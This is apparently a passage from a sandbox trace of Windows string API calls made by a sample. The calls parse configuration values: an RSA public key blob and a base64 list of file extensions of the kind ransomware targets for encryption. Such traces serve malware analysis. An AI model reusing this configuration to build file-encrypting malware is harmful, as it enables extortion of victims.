C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.145] lstrcmpiA (lpString1="pub_key", lpString2="mask") returned 1 [0135.145] lstrcmpiA (lpString1="pub_key", lpString2="pub_key") returned 0 [0135.145] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0135.145] lstrcpyA (in: lpString1=0x2fbf68, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0135.145] lstrcmpiA (lpString1="mask", lpString2="mask") returned 0 [0135.145] lstrcmpiA (lpString1="mask", lpString2="pub_key") returned -1 [0135.145] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0135.145] lstrcpyA (in: lpString1=0x2fcb00, lpString2="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" | out: lpString1="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUt